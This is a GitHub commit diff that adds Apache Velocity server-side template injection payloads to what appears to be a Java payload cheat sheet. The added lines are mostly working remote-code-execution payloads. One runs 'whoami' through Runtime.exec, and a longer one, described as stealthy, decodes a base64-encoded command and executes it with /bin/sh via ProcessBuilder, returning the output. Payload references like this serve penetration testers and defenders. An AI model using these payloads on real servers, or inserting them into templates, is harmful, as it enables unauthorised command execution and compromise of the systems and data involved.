Skip to content

Commit 72df15e

Browse files
authored
Merge pull request swisskyrepo#786 from n3rada/master
Add Velocity SSTI payloads with base64 command support
2 parents 2f9f87b + f3cdd4f commit 72df15e

File tree

1 file changed

+37
-2
lines changed
  • Server Side Template Injection

1 file changed

+37
-2
lines changed

Server Side Template Injection/Java.md

Lines changed: 37 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -211,9 +211,11 @@ New version of Pebble :
211211
212212
[Official website](https://velocity.apache.org/engine/1.7/user-guide.html)
213213
214-
> Velocity is a Java-based template engine. It permits web page designers to reference methods defined in Java code.
214+
> Apache Velocity is a Java-based template engine that allows web designers to embed Java code references directly within templates.
215215
216-
```python
216+
In a vulnerable environment, Velocity's expression language can be abused to achieve remote code execution (RCE). For example, this payload executes the whoami command and prints the result:
217+
218+
```java
217219
#set($str=$class.inspect("java.lang.String").type)
218220
#set($chr=$class.inspect("java.lang.Character").type)
219221
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
@@ -224,6 +226,39 @@ $str.valueOf($chr.toChars($out.read()))
224226
#end
225227
```
226228
229+
A more flexible and stealthy payload that supports base64-encoded commands, allowing execution of arbitrary shell commands such as `echo "a" > /tmp/a`. Below is an example with `whoami` in base64:
230+
231+
```java
232+
#set($base64EncodedCommand = 'd2hvYW1p')
233+
234+
#set($contextObjectClass = $knownContextObject.getClass())
235+
236+
#set($Base64Class = $contextObjectClass.forName("java.util.Base64"))
237+
#set($Base64Decoder = $Base64Class.getMethod("getDecoder").invoke(null))
238+
#set($decodedBytes = $Base64Decoder.decode($base64EncodedCommand))
239+
240+
#set($StringClass = $contextObjectClass.forName("java.lang.String"))
241+
#set($command = $StringClass.getConstructor($contextObjectClass.forName("[B"), $contextObjectClass.forName("java.lang.String")).newInstance($decodedBytes, "UTF-8"))
242+
243+
#set($commandArgs = ["/bin/sh", "-c", $command])
244+
245+
#set($ProcessBuilderClass = $contextObjectClass.forName("java.lang.ProcessBuilder"))
246+
#set($processBuilder = $ProcessBuilderClass.getConstructor($contextObjectClass.forName("java.util.List")).newInstance($commandArgs))
247+
#set($processBuilder = $processBuilder.redirectErrorStream(true))
248+
#set($process = $processBuilder.start())
249+
#set($exitCode = $process.waitFor())
250+
251+
#set($inputStream = $process.getInputStream())
252+
#set($ScannerClass = $contextObjectClass.forName("java.util.Scanner"))
253+
#set($scanner = $ScannerClass.getConstructor($contextObjectClass.forName("java.io.InputStream")).newInstance($inputStream))
254+
#set($scannerDelimiter = $scanner.useDelimiter("\\A"))
255+
256+
#if($scanner.hasNext())
257+
#set($output = $scanner.next().trim())
258+
$output.replaceAll("\\s+$", "").replaceAll("^\\s+", "")
259+
#end
260+
```
261+
227262
---
228263
229264
## Groovy

0 commit comments

Comments
 (0)